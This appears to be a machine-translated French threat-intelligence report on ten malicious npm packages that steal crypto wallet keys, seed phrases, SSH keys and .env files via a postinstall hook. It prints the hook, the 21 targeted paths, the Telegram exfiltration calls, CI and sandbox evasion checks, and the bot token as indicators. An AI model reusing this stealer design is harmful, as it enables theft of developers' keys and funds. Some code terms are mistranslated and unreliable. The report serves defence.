TL; DR
Le 9 juin 2026, un seul compte d'éditeur npm, aicrypto-xzggg, expédié dix paquets avec des noms à consonance crypto et Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9et six autres.
Chaque paquet exécute la même charge utile à partir d'un postinstall Lors de l'installation, il vérifie s'il s'exécute dans un environnement d'intégration continue ou dans un bac à sable ; sinon, il lit les fichiers de clés de portefeuille, les fichiers de phrase de récupération, les clés SSH, etc. .env Il récupère des fichiers provenant de six écosystèmes blockchain et les transmet à un bot Telegram.
Le seul indicateur qu'un défenseur peut rechercher immédiatement est l'identifiant du bot Telegram. 8227918239.
Gravité: critique — vol direct des clés de signature et des phrases de récupération postes de travail de développement.
L'attaque : comment elle fonctionne
Ces packages se présentent comme des outils pour développeurs blockchain. package.json est minimal et oriente le cycle de vie de l'installation vers un script :
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js est une ligne de code intermédiaire qui charge la véritable charge utile : require(“../src/index.js”). Car post-installation s'exécute automatiquement pendant npm installerAucune importation de code par le développeur n'est requise : il suffit de placer le package dans une arborescence de dépendances pour l'exécuter.
La chaîne de mise à mort à l'intérieur src / index.js il y a quatre étapes :
- Contrôle environnemental. Une fonction de garde détermine si l'hôte se comporte comme un agent de compilation ou un bac à sable d'analyse.
- Retard. L'exécution est différée derrière un setTimeout d'environ 7.4 secondes.
- Collection. Une liste fixe de chemins d'accès aux fichiers de portefeuille, de clé et de secret est parcourue ; les fichiers existants sont mis en file d'attente.
- Exfiltration. Les fichiers en attente sont envoyés à un bot Telegram, précédés d'un message récapitulatif.
La liste des cibles de la collecte s'étend sur six chaînes, plus des secrets génériques de développeurs. Version réduite :
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Vingt-et-un chemins au total. Entrées de répertoire telles que : ~/.ethereum/keystore sont agrandies et chaque fichier qu'elles contiennent est mis en file d'attente. L'exfiltration utilise directement l'API Telegram Bot — une sendMessage appel avec un résumé de l'hôte et du fichier, puis un envoyerDocument Téléchargement en plusieurs parties pour chaque fichier :
texte
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Le message récapitulatif que le code assemble commence par la chaîne littérale VOLEUR DE CRYPTO, suivis du nom d'hôte, du nom d'utilisateur, du nom du paquet d'origine, du nombre de fichiers et de l'horodatage.
Quoi de neuf ici
Ce qui différencie les deux, ce n'est pas le mécanisme de vol — exfiltration de npm via Telegram post-installation hooks est bien connu. C'est le porte d'exécution. Avant toute chose, la charge utile appelle une fonction qui renvoie vrai lorsque l'hôte ressemble à un exécuteur CI ou à un bac à sable, et renvoie prématurément dans le cas contraire :
texte
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) L'expression régulière container-id est la clause notable : un nom d'hôte de 12 caractères hexadécimaux est la forme par défaut attribuée par Docker à un conteneur. CONTENANTAinsi, la charge utile interprète le fait que « mon nom d'hôte ressemble à un conteneur Docker » comme une raison de rester inactive. Combiné au délai de sept secondes, ce mécanisme privilégie l'exécution sur le poste de travail physique d'un développeur et la discrétion dans toute zone suspecte d'analyse automatisée. C'est ce mécanisme qui a permis de supprimer les signaux d'analyse dynamique et de préserver le flux d'exfiltration statique comme preuve principale de condamnation.
Forum
| Date (UTC) | Espaces |
|---|---|
| 2026-06-09 ~02:48 | Premiers paquets du cluster signalés lors de la publication (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Les membres de version supérieure ont été signalés (ethereum-kit-9 à 1.25.36 ans wallet-sdk-9 à 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Membres finaux signalés (defi-tools-39 à 4.26.29 ans swap-sdk-87 à 4.63.78 ans farming-tools-12 à 4.68.54) |
| 2026-06-09 | Les dix ont été classés comme malveillants et signalés pour suppression du registre. |
Les dix publications ont toutes fait surface en l'espace d'environ soixante-dix minutes, ce qui correspond à une publication unique et programmée à partir d'un seul compte.
Indicateurs de compromis
Indicateurs de réseau et de comportement (hôte désamorcé) :
| Indicateur | Valeur |
|---|---|
| Point de terminaison d'exfiltration | api[.]telegram[.]org (API de bot Telegram) |
| Identifiant du bot Telegram | 8227918239 |
| Jeton de bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Identifiant de chat Telegram | 6433587894 |
| Installer le crochet | postinstall → scripts/postinstall.js → src/index.js |
| Cordon marqueur | CRYPTO STEALER dans le message récapitulatif assemblé |
| Publisher | aicrypto-xzggg (courriel indiqué) vipsyria88@gmail[.]com, non vérifié) |
Paquets et versions, chacun avec le SHA-256 de son src / index.js charge utile (les charges utiles sont fonctionnellement identiques et ne diffèrent que par l'étiquette de nom de paquet intégrée, chaque hachage est donc distinct) :
| Forfait | Version | SHA-256 de src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Une requête de recherche simple : rechercher dans les journaux d’installation et les fichiers de verrouillage l’un des dix noms, et rechercher dans le trafic sortant les connexions à l’API Telegram Bot provenant d’hôtes de compilation ou de développement qui ne l’utilisent pas autrement.
Attribution et comportement observé
Les dix paquets ont tous été publiés par un seul compte. aicrypto-xzggg, dont l'adresse électronique déclarée est vipsyria88@gmail[.]comL'adresse électronique et le lien vers le système de gestion de versions ne sont pas vérifiés dans les métadonnées du registre, et le compte présente une réputation très négative. Nous n'avons pas pu identifier l'administrateur du compte.
Deux détails méritent d'être dissociés de toute revendication d'identité. Premièrement, le package.json auteur lectures de terrain Alex Smith sur chaque paquet, tandis que le compte de publication proprement dit est aicrypto-xzgggLe champ « auteur » est une métadonnée auto-déclarée et ne constitue pas une preuve d’auteur. Deuxièmement, les numéros de version varient considérablement : certains membres se trouvent à 1.0.0, d'autres à 4.68.54 — ce qui est cohérent avec la réutilisation d'une seule charge utile pour différents noms de paquets nouvellement créés plutôt que de conserver de véritables historiques de versions.
Le comportement est uniforme sur l'ensemble du cluster : même liste de chemins cibles, même identifiant de bot Telegram et même identifiant de chat, même barrière d'environnement, etc. VOLEUR DE CRYPTO Ce marqueur uniforme constitue le lien le plus fort entre les paquets. Il s'agit d'un signal d'opérateur identique, et non d'une identité.
Impact, tendances et conseils pour les défenseurs
Le risque est concret. Un développeur qui installe l'un de ces paquets sur un poste de travail contenant un portefeuille logiciel, un fichier de phrase de récupération ou une clé SSH voit ces fichiers lus et transmis hors du poste en quelques secondes. Les phrases de récupération et les clés de signature n'expirent pas comme un jeton de session ; une fois qu'un mnémonique.txt ou un Solana id.json Dès que les données quittent la machine, les fonds qu'elle contrôle sont exposés à un risque jusqu'à leur transfert. La même exécution capture également .env fichiers qui contiennent généralement des clés API et des identifiants de base de données.
Deux tendances sous-tendent ce regroupement. La première est l'utilisation persistante de noms de domaine liés à la crypto et au Web3 pour cibler un public spécifique : les développeurs qui conservent leurs portefeuilles et clés sur la même machine que celle où ils installent les dépendances. La seconde est la maturation des techniques de contournement des environnements sandbox dans les charges utiles d'installation. Un système de contrôle vérifiant les variables d'environnement d'intégration continue, les noms d'utilisateur des exécuteurs et la structure du nom d'hôte de l'identifiant du conteneur Docker constitue un effort délibéré pour se comporter différemment lors de l'analyse que sur un poste de travail réel, et il rehausse le niveau d'exigence en matière de détection purement dynamique.
Pour les défenseurs :
Installation avec les scripts désactivés par défaut. npm install --ignore-scripts, ou définir ignorer-scripts=true in .npmrc, empêche post-installation Exécution ; activer les scripts uniquement pour les dépendances spécifiques qui en ont réellement besoin.
Conservez les portefeuilles et les clés de signature hors des machines de compilation et de développement. Utilisez un portefeuille matériel ou un serveur de signature dédié et indépendant des dépendances.
Traiter .envLes fichiers de clés et les fichiers de phrases de récupération sont comme des joyaux. Ils ne doivent jamais se trouver dans un répertoire qui est également un npm installer arbre de travail.
Recherchez les connexions sortantes vers l'API Telegram Bot depuis les environnements d'intégration continue et de développement. La plupart des environnements de compilation ne l'appellent jamais ; toute connexion qui apparaît soudainement, juste après une installation, mérite d'être examinée.
Épingler et examiner les dépendances. Un tout nouveau paquet avec un nom crypto générique, un post-installation crochet, et aucun lien vers un dépôt ne justifie un examen avant son entrée dans un fichier de verrouillage.
La clause d'évasion de l'identifiant du conteneur rappelle également aux analystes qu'une charge utile exécutée lors de l'installation et restée inactive dans un environnement isolé n'est pas anodine ; elle est sélective. L'examen statique du chemin d'installation demeure la méthode la plus fiable pour identifier ce que l'exécution dynamique peut omettre de révéler.
Références
Documentation d'installation de npm — scripts de cycle de vie et –Ignorer-scripts— référence pour désactiver l'installation automatique hooks.





